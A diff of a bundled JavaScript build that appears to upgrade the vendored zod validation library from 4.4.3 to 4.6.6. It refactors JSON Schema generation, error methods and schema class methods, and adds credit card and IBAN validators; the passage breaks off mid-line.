json3[keyword]; + if (!Array.isArray(branches)) + continue; + const mapped = branches.map((branch) => stringifyKeyNames(bySchema, branch, visited)); + if (mapped.some((branch, i) => branch !== branches[i])) + json3 = { ...json3, [keyword]: mapped }; + } + const types2 = Array.isArray(json3.type) ? json3.type : [json3.type]; + const numericType = !types2.includes("string") && types2.some((t) => t === "number" || t === "integer"); + const values2 = json3.enum ?? (json3.const !== void 0 ? [json3.const] : void 0); + if (!numericType && !values2?.some((v) => typeof v === "number")) + return json3; + const { minimum, maximum, exclusiveMinimum, exclusiveMaximum, multipleOf, format, id, ...rest } = json3; + if (rest.enum) + rest.enum = rest.enum.map((v) => typeof v === "number" ? String(v) : v); + else if (typeof rest.const === "number") + rest.const = String(rest.const); + if (!numericType) + return rest; + rest.type = "string"; + if (!values2) + rest.pattern = (types2.includes("number") ? number : integer).source; + return rest; +} +var pendingRecords = /* @__PURE__ */ new WeakMap(); +function rewriteKeyNames(ctx) { + const bySchema = /* @__PURE__ */ new Map(); + for (const entry of ctx.seen.values()) { + if (entry.def && !bySchema.has(entry.schema)) + bySchema.set(entry.schema, entry); + } + const rewrites = /* @__PURE__ */ new Map(); + for (const record2 of pendingRecords.get(ctx) ?? []) { + const seen = ctx.seen.get(record2); + const names = (seen?.def ?? seen?.schema)?.propertyNames; + if (!names || names === true || rewrites.has(names)) + continue; + const rewritten = stringifyKeyNames(bySchema, names, /* @__PURE__ */ new Set()); + if (rewritten !== names) + rewrites.set(names, rewritten); + } + if (!rewrites.size) + return; + for (const entry of ctx.seen.values()) { + for (const carrier of [entry.schema, entry.def]) { + const rewritten = carrier && rewrites.get(carrier.propertyNames); + if (rewritten) + carrier.propertyNames = rewritten; + } + } +} var recordProcessor = (schema, ctx, _json, params) => { const json3 = _json; const def = schema._zod.def; json3.type = "object"; const keyType = def.keyType; - const keyBag = keyType._zod.bag; - const patterns = keyBag?.patterns; + const patterns = aggregateChecks(keyType).patterns; if (def.mode === "loose" && patterns && patterns.size > 0) { - const valueSchema = process2(def.valueType, ctx, { + const valueSchema = processSchema(def.valueType, ctx, { ...params, path: [...params.path, "patternProperties", "*"] }); json3.patternProperties = {}; for (const pattern of patterns) { - json3.patternProperties[pattern.source] = valueSchema; + assignProp(json3.patternProperties, exactPattern(pattern).source, valueSchema); } } else { if (ctx.target === "draft-07" || ctx.target === "draft-2020-12") { - json3.propertyNames = process2(def.keyType, ctx, { + json3.propertyNames = processSchema(def.keyType, ctx, { ...params, path: [...params.path, "propertyNames"] }); + let pending = pendingRecords.get(ctx); + if (!pending) { + pending = []; + pendingRecords.set(ctx, pending); + ctx.deferred.push(() => rewriteKeyNames(ctx)); + } + pending.push(schema); } - json3.additionalProperties = process2(def.valueType, ctx, { + json3.additionalProperties = processSchema(def.valueType, ctx, { ...params, path: [...params.path, "additionalProperties"] }); } const keyValues = keyType._zod.values; - if (keyValues) { + const omittableOnInput = ctx.io === "input" && inputOptin(def.valueType) !== void 0; + if (keyValues && !def.partial && !omittableOnInput) { const validKeyValues = [...keyValues].filter((v) => typeof v === "string" || typeof v === "number"); if (validKeyValues.length > 0) { - json3.required = validKeyValues; + json3.required = validKeyValues.map(String); } } }; var nullableProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - const inner = process2(def.innerType, ctx, params); + const inner = processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); if (ctx.target === "openapi-3.0") { seen.ref = def.innerType; @@ -66916,35 +71468,55 @@ var nullableProcessor = (schema, ctx, json3, params) => { }; var nonoptionalProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; }; +var UNREPRESENTABLE_DEFAULT = Symbol(); +function serializeDefaultValue(value, schema, ctx, json3, params) { + let unrepresentable = false; + const serialized = JSON.stringify(value, (_, val) => { + if (typeof val !== "bigint") + return val; + unrepresentable = true; + return null; + }); + if (!unrepresentable) + return JSON.parse(serialized); + handleUnrepresentable(schema, ctx, json3, params, "BigInt defaults cannot be represented in JSON Schema"); + return UNREPRESENTABLE_DEFAULT; +} var defaultProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; - json3.default = JSON.parse(JSON.stringify(def.defaultValue)); + const value = serializeDefaultValue(def.defaultValue, schema, ctx, json3, params); + if (value !== UNREPRESENTABLE_DEFAULT) + json3.default = value; }; var prefaultProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; - if (ctx.io === "input") - json3._prefault = JSON.parse(JSON.stringify(def.defaultValue)); + if (ctx.io !== "input") + return; + const value = serializeDefaultValue(def.defaultValue, schema, ctx, json3, params); + if (value !== UNREPRESENTABLE_DEFAULT) + json3._prefault = value; }; var catchProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; let catchValue; try { catchValue = def.catchValue(void 0); } catch { - throw new Error("Dynamic catch values are not supported in JSON Schema"); + handleUnrepresentable(schema, ctx, json3, params, "Dynamic catch values are not supported in JSON Schema"); + return; } json3.default = catchValue; }; @@ -66952,32 +71524,32 @@ var pipeProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; const inIsTransform = def.in._zod.traits.has("$ZodTransform"); const innerType = ctx.io === "input" ? inIsTransform ? def.out : def.in : def.out; - process2(innerType, ctx, params); + processSchema(innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = innerType; }; var readonlyProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; json3.readOnly = true; }; var promiseProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; }; var optionalProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; }; var lazyProcessor = (schema, ctx, _json, params) => { const innerType = schema._zod.innerType; - process2(innerType, ctx, params); + processSchema(innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = innerType; }; @@ -67022,14 +71594,14 @@ var allProcessors = { optional: optionalProcessor, lazy: lazyProcessor }; -function toJSONSchema(input, params) { - if ("_idmap" in input) { - const registry2 = input; +function toJSONSchema(input2, params) { + if ("_idmap" in input2) { + const registry2 = input2; const ctx2 = initializeContext({ ...params, processors: allProcessors }); const defs = {}; for (const entry of registry2._idmap.entries()) { const [_, schema] = entry; - process2(schema, ctx2); + processSchema(schema, ctx2); } const schemas = {}; const external = { @@ -67041,7 +71613,7 @@ function toJSONSchema(input, params) { for (const entry of registry2._idmap.entries()) { const [key, schema] = entry; extractDefs(ctx2, schema); - schemas[key] = finalize(ctx2, schema); + assignProp(schemas, key, finalize(ctx2, schema)); } if (Object.keys(defs).length > 0) { const defsSegment = ctx2.target === "draft-2020-12" ? "$defs" : "definitions"; @@ -67052,12 +71624,12 @@ function toJSONSchema(input, params) { return { schemas }; } const ctx = initializeContext({ ...params, processors: allProcessors }); - process2(input, ctx); - extractDefs(ctx, input); - return finalize(ctx, input); + processSchema(input2, ctx); + extractDefs(ctx, input2); + return finalize(ctx, input2); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema-generator.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/json-schema-generator.js var JSONSchemaGenerator = class { /** @deprecated Access via ctx instead */ get metadataRegistry() { @@ -67067,6 +71639,7 @@ var JSONSchemaGenerator = class { get target() { return this.ctx.target; } + // annotated so the .d.cts emits an indexed access rather than an inline `import()` of an ESM path /** @deprecated Access via ctx instead */ get unrepresentable() { return this.ctx.unrepresentable; @@ -67110,7 +71683,7 @@ var JSONSchemaGenerator = class { * This must be called before emit(). */ process(schema, _params = { path: [], schemaPath: [] }) { - return process2(schema, this.ctx, _params); + return processSchema(schema, this.ctx, _params); } /** * Emit the final JSON Schema after processing. @@ -67125,6 +71698,8 @@ var JSONSchemaGenerator = class { if (_params.external) this.ctx.external = _params.external; } + this.ctx.sharedDefsExtractedFor = void 0; + this.ctx.sharedEmitDoneFor = void 0; extractDefs(this.ctx, schema); const result = finalize(this.ctx, schema); const { "~standard": _, ...plainResult } = result; @@ -67132,10 +71707,10 @@ var JSONSchemaGenerator = class { } }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/json-schema.js var json_schema_exports = {}; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/schemas.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/schemas.js var schemas_exports2 = {}; __export(schemas_exports2, { ZodAny: () => ZodAny, @@ -67151,6 +71726,7 @@ __export(schemas_exports2, { ZodCUID2: () => ZodCUID2, ZodCatch: () => ZodCatch, ZodCodec: () => ZodCodec, + ZodCreditCard: () => ZodCreditCard, ZodCustom: () => ZodCustom, ZodCustomStringFormat: () => ZodCustomStringFormat, ZodDate: () => ZodDate, @@ -67164,8 +71740,14 @@ __export(schemas_exports2, { ZodFile: () => ZodFile, ZodFunction: () => ZodFunction, ZodGUID: () => ZodGUID, + ZodIBAN: () => ZodIBAN, ZodIPv4: () => ZodIPv4, ZodIPv6: () => ZodIPv6, + ZodISODate: () => ZodISODate, + ZodISODateTime: () => ZodISODateTime, + ZodISODuration: () => ZodISODuration, + ZodISOTime: () => ZodISOTime, + ZodInstanceOf: () => ZodInstanceOf, ZodIntersection: () => ZodIntersection, ZodJWT: () => ZodJWT, ZodKSUID: () => ZodKSUID, @@ -67221,10 +71803,12 @@ __export(schemas_exports2, { cidrv4: () => cidrv42, cidrv6: () => cidrv62, codec: () => codec, + creditCard: () => creditCard2, cuid: () => cuid3, cuid2: () => cuid22, + currencyCode: () => currencyCode2, custom: () => custom, - date: () => date3, + date: () => date2, describe: () => describe2, discriminatedUnion: () => discriminatedUnion, e164: () => e1642, @@ -67241,6 +71825,7 @@ __export(schemas_exports2, { hex: () => hex2, hostname: () => hostname2, httpUrl: () => httpUrl, + iban: () => iban2, instanceof: () => _instanceof, int: () => int, int32: () => int32, @@ -67306,7 +71891,7 @@ __export(schemas_exports2, { xor: () => xor }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/checks.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/checks.js var checks_exports2 = {}; __export(checks_exports2, { endsWith: () => _endsWith, @@ -67329,6 +71914,7 @@ __export(checks_exports2, { normalize: () => _normalize, overwrite: () => _overwrite, positive: () => _positive, + properties: () => _properties, property: () => _property, regex: () => _regex, size: () => _size, @@ -67340,88 +71926,53 @@ __export(checks_exports2, { uppercase: () => _uppercase }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/iso.js -var iso_exports = {}; -__export(iso_exports, { - ZodISODate: () => ZodISODate, - ZodISODateTime: () => ZodISODateTime, - ZodISODuration: () => ZodISODuration, - ZodISOTime: () => ZodISOTime, - date: () => date2, - datetime: () => datetime2, - duration: () => duration2, - time: () => time2 -}); -var ZodISODateTime = /* @__PURE__ */ $constructor("ZodISODateTime", (inst, def) => { - $ZodISODateTime.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function datetime2(params) { - return _isoDateTime(ZodISODateTime, params); -} -var ZodISODate = /* @__PURE__ */ $constructor("ZodISODate", (inst, def) => { - $ZodISODate.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function date2(params) { - return _isoDate(ZodISODate, params); -} -var ZodISOTime = /* @__PURE__ */ $constructor("ZodISOTime", (inst, def) => { - $ZodISOTime.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function time2(params) { - return _isoTime(ZodISOTime, params); -} -var ZodISODuration = /* @__PURE__ */ $constructor("ZodISODuration", (inst, def) => { - $ZodISODuration.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function duration2(params) { - return _isoDuration(ZodISODuration, params); +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/errors.js +var _installedErrorProtos = /* @__PURE__ */ new WeakSet([Object.prototype, Error.prototype]); +function _lazyMethod(proto, key, make) { + Object.defineProperty(proto, key, { + configurable: true, + enumerable: false, + get() { + const value = make(this); + Object.defineProperty(this, key, { value, configurable: true, writable: true }); + return value; + }, + set(value) { + Object.defineProperty(this, key, { value, configurable: true, writable: true }); + } + }); } - -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/errors.js var initializer2 = (inst, issues) => { $ZodError.init(inst, issues); inst.name = "ZodError"; - Object.defineProperties(inst, { - format: { - value: (mapper) => formatError(inst, mapper) - // enumerable: false, - }, - flatten: { - value: (mapper) => flattenError(inst, mapper) - // enumerable: false, - }, - addIssue: { - value: (issue2) => { - inst.issues.push(issue2); - inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2); - } - // enumerable: false, - }, - addIssues: { - value: (issues2) => { - inst.issues.push(...issues2); - inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2); - } - // enumerable: false, - }, - isEmpty: { - get() { - return inst.issues.length === 0; - } - // enumerable: false, + const proto = Object.getPrototypeOf(inst); + if (_installedErrorProtos.has(proto)) + return; + _installedErrorProtos.add(proto); + _lazyMethod(proto, "format", (self2) => (mapper) => formatError(self2, mapper)); + _lazyMethod(proto, "flatten", (self2) => (mapper) => flattenError(self2, mapper)); + _lazyMethod(proto, "addIssue", (self2) => (issue2) => { + self2.issues.push(issue2); + self2.message = JSON.stringify(self2.issues, jsonStringifyReplacer, 2); + }); + _lazyMethod(proto, "addIssues", (self2) => (issues2) => { + self2.issues.push(...issues2); + self2.message = JSON.stringify(self2.issues, jsonStringifyReplacer, 2); + }); + Object.defineProperty(proto, "isEmpty", { + configurable: true, + enumerable: false, + get() { + return this.issues.length === 0; } }); }; var ZodError = /* @__PURE__ */ $constructor("ZodError", initializer2); -var ZodRealError = /* @__PURE__ */ $constructor("ZodError", initializer2, { +var ZodRealError = /* @__PURE__ */ $constructor("ZodError", initializer2, void 0, { Parent: Error }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/parse.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/parse.js var parse2 = /* @__PURE__ */ _parse(ZodRealError); var parseAsync2 = /* @__PURE__ */ _parseAsync(ZodRealError); var safeParse2 = /* @__PURE__ */ _safeParse(ZodRealError); @@ -67435,182 +71986,202 @@ var safeDecode2 = /* @__PURE__ */ _safeDecode(ZodRealError); var safeEncodeAsync2 = /* @__PURE__ */ _safeEncodeAsync(ZodRealError); var safeDecodeAsync2 = /* @__PURE__ */ _safeDecodeAsync(ZodRealError); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/schemas.js -var _installedGroups = /* @__PURE__ */ new WeakMap(); -function _installLazyMethods(inst, group, methods) { - const proto = Object.getPrototypeOf(inst); - let installed = _installedGroups.get(proto); - if (!installed) { - installed = /* @__PURE__ */ new Set(); - _installedGroups.set(proto, installed); - } - if (installed.has(group)) - return; - installed.add(group); - for (const key in methods) { - const fn = methods[key]; - Object.defineProperty(proto, key, { - configurable: true, - enumerable: false, - get() { - const bound = fn.bind(this); - Object.defineProperty(this, key, { - configurable: true, - writable: true, - enumerable: true, - value: bound - }); - return bound; - }, - set(v) { - Object.defineProperty(this, key, { - configurable: true, - writable: true, - enumerable: true, - value: v - }); - } - }); - } +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/schemas.js +function _ensureDefaultLocale() { + if (!globalConfig.localeError) + config(en_default()); +} +function _ensureDefaultMemoizer() { + if (!globalConfig.memoizer) + config({ memoizer: memoizer() }); } var ZodType = /* @__PURE__ */ $constructor("ZodType", (inst, def) => { + _ensureDefaultLocale(); $ZodType.init(inst, def); - Object.assign(inst["~standard"], { - jsonSchema: { - input: createStandardJSONSchemaMethod(inst, "input"), - output: createStandardJSONSchemaMethod(inst, "output") - } - }); - inst.toJSONSchema = createToJSONSchemaMethod(inst, {}); inst.def = def; inst.type = def.type; - Object.defineProperty(inst, "_def", { value: def }); - inst.parse = (data, params) => parse2(inst, data, params, { callee: inst.parse }); - inst.safeParse = (data, params) => safeParse2(inst, data, params); - inst.parseAsync = async (data, params) => parseAsync2(inst, data, params, { callee: inst.parseAsync }); - inst.safeParseAsync = async (data, params) => safeParseAsync2(inst, data, params); - inst.spa = inst.safeParseAsync; - inst.encode = (data, params) => encode3(inst, data, params); - inst.decode = (data, params) => decode3(inst, data, params); - inst.encodeAsync = async (data, params) => encodeAsync2(inst, data, params); - inst.decodeAsync = async (data, params) => decodeAsync2(inst, data, params); - inst.safeEncode = (data, params) => safeEncode2(inst, data, params); - inst.safeDecode = (data, params) => safeDecode2(inst, data, params); - inst.safeEncodeAsync = async (data, params) => safeEncodeAsync2(inst, data, params); - inst.safeDecodeAsync = async (data, params) => safeDecodeAsync2(inst, data, params); - _installLazyMethods(inst, "ZodType", { - check(...chks) { - const def2 = this.def; - return this.clone(util_exports.mergeDefs(def2, { - checks: [ - ...def2.checks ?? [], - ...chks.map((ch) => typeof ch === "function" ? { _zod: { check: ch, def: { check: "custom" }, onattach: [] } } : ch) - ] - }), { parent: true }); - }, - with(...chks) { - return this.check(...chks); - }, - clone(def2, params) { - return clone(this, def2, params); - }, - brand() { - return this; - }, - register(reg, meta3) { - reg.add(this, meta3); - return this; - }, - refine(check3, params) { - return this.check(refine(check3, params)); - }, - superRefine(refinement, params) { - return this.check(superRefine(refinement, params)); - }, - overwrite(fn) { - return this.check(_overwrite(fn)); - }, - optional() { - return optional(this); - }, - exactOptional() { - return exactOptional(this); - }, - nullable() { - return nullable(this); - }, - nullish() { - return optional(nullable(this)); - }, - nonoptional(params) { - return nonoptional(this, params); - }, - array() { - return array(this); - }, - or(arg) { - return union([this, arg]); - }, - and(arg) { - return intersection(this, arg); - }, - transform(tx) { - return pipe(this, transform(tx)); - }, - default(d) { - return _default2(this, d); - }, - prefault(d) { - return prefault(this, d); - }, - catch(params) { - return _catch2(this, params); - }, - pipe(target) { - return pipe(this, target); - }, - readonly() { - return readonly(this); - }, - describe(description) { - const cl = this.clone(); - globalRegistry.add(cl, { description }); - return cl; - }, - meta(...args) { - if (args.length === 0) - return globalRegistry.get(this); - const cl = this.clone(); - globalRegistry.add(cl, args[0]); - return cl; - }, - isOptional() { - return this.safeParse(void 0).success; - }, - isNullable() { - return this.safeParse(null).success; - }, - apply(fn) { - return fn(this); - } - }); - Object.defineProperty(inst, "description", { - get() { - return globalRegistry.get(inst)?.description; - }, - configurable: true - }); return inst; +}, { + check(...chks) { + const def = this.def; + return this.clone(util_exports.mergeDefs(def, { + checks: [ + ...def.checks ?? [], + ...chks.map((ch) => typeof ch === "function" ? { _zod: { check: ch, def: { check: "custom" }, onattach: [] } } : ch) + ] + }), { parent: true }); + }, + with(...chks) { + return this.check(...chks); + }, + clone(def, params) { + return clone(this, def, params); + }, + brand() { + return this; + }, + register(reg, meta3) { + reg.add(this, meta3); + return this; + }, + refine(check3, params) { + return this.check(refine(check3, params)); + }, + superRefine(refinement, params) { + return this.check(superRefine(refinement, params)); + }, + overwrite(fn) { + return this.check(_overwrite(fn)); + }, + optional() { + return optional(this); + }, + exactOptional() { + return exactOptional(this); + }, + nullable() { + return nullable(this); + }, + nullish() { + return optional(nullable(this)); + }, + nonoptional(params) { + return nonoptional(this, params); + }, + array() { + return array(this); + }, + or(arg) { + return union([this, arg]); + }, + and(arg) { + return intersection(this, arg); + }, + transform(tx) { + return pipe(this, transform(tx)); + }, + default(d) { + return _default2(this, d); + }, + prefault(d) { + return prefault(this, d); + }, + catch(params) { + return _catch2(this, params); + }, + pipe(target) { + return pipe(this, target); + }, + readonly() { + return readonly(this); + }, + describe(description) { + const cl = this.clone(); + globalRegistry.add(cl, { description }); + return cl; + }, + meta(...args) { + if (args.length === 0) + return globalRegistry.get(this); + const cl = this.clone(); + globalRegistry.add(cl, args[0]); + return cl; + }, + isOptional() { + return this.safeParse(void 0).success; + }, + isNullable() { + return this.safeParse(null).success; + }, + apply(fn, ...args) { + return args.length === 0 ? fn(this) : fn(this, ...args); + }, + // Overrides core's `~standard` to add `jsonSchema`. Must stay a prototype entry: redefining it per instance demotes instances to dictionary mode. + get "~standard"() { + return util_exports.hide(this, "~standard", { + ...standardProps(this), + jsonSchema: { + input: createStandardJSONSchemaMethod(this, "input"), + output: createStandardJSONSchemaMethod(this, "output") + } + }); + }, + set "~standard"(value) { + util_exports.own(this, "~standard", value); + }, + parse: function _parse2(data, params) { + return parse2(this, data, params, { callee: _parse2 }); + }, + parseAsync: async function _parseAsync2(data, params) { + return await parseAsync2(this, data, params, { callee: _parseAsync2 }); + }, + safeParse(data, params) { + return safeParse2(this, data, params); + }, + async safeParseAsync(data, params) { + return safeParseAsync2(this, data, params); + }, + // `spa` is an alias: same function object as `safeParseAsync`, as before. + get spa() { + return this?.safeParseAsync; + }, + set spa(value) { + util_exports.own(this, "spa", value); + }, + validate(data, params) { + return validate(this, data, params); + }, + validateAsync(data, params) { + return validateAsync(this, data, params); + }, + encode: function _encode2(data, params) { + return encode3(this, data, params, { callee: _encode2 }); + }, + decode: function _decode2(data, params) { + return decode3(this, data, params, { callee: _decode2 }); + }, + encodeAsync: async function _encodeAsync2(data, params) { + return await encodeAsync2(this, data, params, { callee: _encodeAsync2 }); + }, + decodeAsync: async function _decodeAsync2(data, params) { + return await decodeAsync2(this, data, params, { callee: _decodeAsync2 }); + }, + safeEncode(data, params) { + return safeEncode2(this, data, params); + }, + safeDecode(data, params) { + return safeDecode2(this, data, params); + }, + async safeEncodeAsync(data, params) { + return safeEncodeAsync2(this, data, params); + }, + async safeDecodeAsync(data, params) { + return safeDecodeAsync2(this, data, params); + }, + toJSONSchema(params) { + return createToJSONSchemaMethod(this, {})(params); + }, + // Reads through to the registry on every access, so it must not cache. + get description() { + return globalRegistry.get(this)?.description; + }, + // No setter: `schema._def = x` throws, as it did when `_def` was a non-writable own property. + get _def() { + return this._zod.def; + } }); -var _ZodString = /* @__PURE__ */ $constructor("_ZodString", (inst, def) => { - $ZodString.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => stringProcessor(inst, ctx, json3, params); - const bag = inst._zod.bag; - inst.format = bag.format ?? null; - inst.minLength = bag.minimum ?? null; - inst.maxLength = bag.maximum ?? null; - _installLazyMethods(inst, "_ZodString", { +var _ZodString = /* @__PURE__ */ $constructor( + "_ZodString", + (inst, def) => { + $ZodString.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => stringProcessor(inst, ctx, json3, params); + }, + /* @__PURE__ */ util_exports.derived({ + format: (inst) => aggregateChecks(inst).format ?? null, + minLength: (inst) => aggregateChecks(inst).minimum ?? null, + maxLength: (inst) => aggregateChecks(inst).maximum ?? null + }, { regex(...args) { return this.check(_regex(...args)); }, @@ -67656,38 +72227,90 @@ var _ZodString = /* @__PURE__ */ $constructor("_ZodString", (inst, def) => { slugify() { return this.check(_slugify()); } - }); -}); + }) +); var ZodString = /* @__PURE__ */ $constructor("ZodString", (inst, def) => { $ZodString.init(inst, def); _ZodString.init(inst, def); - inst.email = (params) => inst.check(_email(ZodEmail, params)); - inst.url = (params) => inst.check(_url(ZodURL, params)); - inst.jwt = (params) => inst.check(_jwt(ZodJWT, params)); - inst.emoji = (params) => inst.check(_emoji2(ZodEmoji, params)); - inst.guid = (params) => inst.check(_guid(ZodGUID, params)); - inst.uuid = (params) => inst.check(_uuid(ZodUUID, params)); - inst.uuidv4 = (params) => inst.check(_uuidv4(ZodUUID, params)); - inst.uuidv6 = (params) => inst.check(_uuidv6(ZodUUID, params)); - inst.uuidv7 = (params) => inst.check(_uuidv7(ZodUUID, params)); - inst.nanoid = (params) => inst.check(_nanoid(ZodNanoID, params)); - inst.guid = (params) => inst.check(_guid(ZodGUID, params)); - inst.cuid = (params) => inst.check(_cuid(ZodCUID, params)); - inst.cuid2 = (params) => inst.check(_cuid2(ZodCUID2, params)); - inst.ulid = (params) => inst.check(_ulid(ZodULID, params)); - inst.base64 = (params) => inst.check(_base64(ZodBase64, params)); - inst.base64url = (params) => inst.check(_base64url(ZodBase64URL, params)); - inst.xid = (params) => inst.check(_xid(ZodXID, params)); - inst.ksuid = (params) => inst.check(_ksuid(ZodKSUID, params)); - inst.ipv4 = (params) => inst.check(_ipv4(ZodIPv4, params)); - inst.ipv6 = (params) => inst.check(_ipv6(ZodIPv6, params)); - inst.cidrv4 = (params) => inst.check(_cidrv4(ZodCIDRv4, params)); - inst.cidrv6 = (params) => inst.check(_cidrv6(ZodCIDRv6, params)); - inst.e164 = (params) => inst.check(_e164(ZodE164, params)); - inst.datetime = (params) => inst.check(datetime2(params)); - inst.date = (params) => inst.check(date2(params)); - inst.time = (params) => inst.check(time2(params)); - inst.duration = (params) => inst.check(duration2(params)); +}, { + email(params) { + return this.check(_email(ZodEmail, params)); + }, + url(params) { + return this.check(_url(ZodURL, params)); + }, + jwt(params) { + return this.check(_jwt(ZodJWT, params)); + }, + emoji(params) { + return this.check(_emoji2(ZodEmoji, params)); + }, + guid(params) { + return this.check(_guid(ZodGUID, params)); + }, + uuid(params) { + return this.check(_uuid(ZodUUID, params)); + }, + uuidv4(params) { + return this.check(_uuidv4(ZodUUID, params)); + }, + uuidv6(params) { + return this.check(_uuidv6(ZodUUID, params)); + }, + uuidv7(params) { + return this.check(_uuidv7(ZodUUID, params)); + }, + nanoid(params) { + return this.check(_nanoid(ZodNanoID, params)); + }, + cuid(params) { + return this.check(_cuid(ZodCUID, params)); + }, + cuid2(params) { + return this.check(_cuid2(ZodCUID2, params)); + }, + ulid(params) { + return this.check(_ulid(ZodULID, params)); + }, + base64(params) { + return this.check(_base64(ZodBase64, params)); + }, + base64url(params) { + return this.check(_base64url(ZodBase64URL, params)); + }, + xid(params) { + return this.check(_xid(ZodXID, params)); + }, + ksuid(params) { + return this.check(_ksuid(ZodKSUID, params)); + }, + ipv4(params) { + return this.check(_ipv4(ZodIPv4, params)); + }, + ipv6(params) { + return this.check(_ipv6(ZodIPv6, params)); + }, + cidrv4(params) { + return this.check(_cidrv4(ZodCIDRv4, params)); + }, + cidrv6(params) { + return this.check(_cidrv6(ZodCIDRv6, params)); + }, + e164(params) { + return this.check(_e164(ZodE164, params)); + }, + datetime(params) { + return this.check(_isoDateTime(ZodISODateTime, params)); + }, + date(params) { + return this.check(_isoDate(ZodISODate, params)); + }, + time(params) { + return this.check(_isoTime(ZodISOTime, params)); + }, + duration(params) { + return this.check(_isoDuration(ZodISODuration, params)); + } }); function string2(params) { return _string(ZodString, params); @@ -67696,6 +72319,22 @@ var ZodStringFormat = /* @__PURE__ */ $constructor("ZodStringFormat", (inst, def $ZodStringFormat.init(inst, def); _ZodString.init(inst, def); }); +var ZodISODateTime = /* @__PURE__ */ $constructor("ZodISODateTime", (inst, def) => { + $ZodISODateTime.init(inst, def); + ZodStringFormat.init(inst, def); +}); +var ZodISODate = /* @__PURE__ */ $constructor("ZodISODate", (inst, def) => { + $ZodISODate.init(inst, def); + ZodStringFormat.init(inst, def); +}); +var ZodISOTime = /* @__PURE__ */ $constructor("ZodISOTime", (inst, def) => { + $ZodISOTime.init(inst, def); + ZodStringFormat.init(inst, def); +}); +var ZodISODuration = /* @__PURE__ */ $constructor("ZodISODuration", (inst, def) => { + $ZodISODuration.init(inst, def); + ZodStringFormat.init(inst, def); +}); var ZodEmail = /* @__PURE__ */ $constructor("ZodEmail", (inst, def) => { $ZodEmail.init(inst, def); ZodStringFormat.init(inst, def); @@ -67735,8 +72374,8 @@ function url(params) { } function httpUrl(params) { return _url(ZodURL, { - protocol: regexes_exports.httpProtocol, - hostname: regexes_exports.domain, + protocol: httpProtocol, + hostname: domain, ...util_exports.normalizeParams(params) }); } @@ -67845,6 +72484,20 @@ var ZodE164 = /* @__PURE__ */ $constructor("ZodE164", (inst, def) => { function e1642(params) { return _e164(ZodE164, params); } +var ZodCreditCard = /* @__PURE__ */ $constructor("ZodCreditCard", (inst, def) => { + $ZodCreditCard.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function creditCard2(params) { + return _creditCard(ZodCreditCard, params); +} +var ZodIBAN = /* @__PURE__ */ $constructor("ZodIBAN", (inst, def) => { + $ZodIBAN.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function iban2(params) { + return _iban(ZodIBAN, params); +} var ZodJWT = /* @__PURE__ */ $constructor("ZodJWT", (inst, def) => { $ZodJWT.init(inst, def); ZodStringFormat.init(inst, def); @@ -67860,10 +72513,13 @@ function stringFormat(format, fnOrRegex, _params = {}) { return _stringFormat(ZodCustomStringFormat, format, fnOrRegex, _params); } function hostname2(_params) { - return _stringFormat(ZodCustomStringFormat, "hostname", regexes_exports.hostname, _params); + return _stringFormat(ZodCustomStringFormat, "hostname", hostname, _params); } function hex2(_params) { - return _stringFormat(ZodCustomStringFormat, "hex", regexes_exports.hex, _params); + return _stringFormat(ZodCustomStringFormat, "hex", hex, _params); +} +function currencyCode2(_params) { + return _stringFormat(ZodCustomStringFormat, "currency_code", currencyCode, _params); } function hash(alg, params) { const enc = params?.enc ?? "hex"; @@ -67873,11 +72529,29 @@ function hash(alg, params) { throw new Error(`Unrecognized hash format: 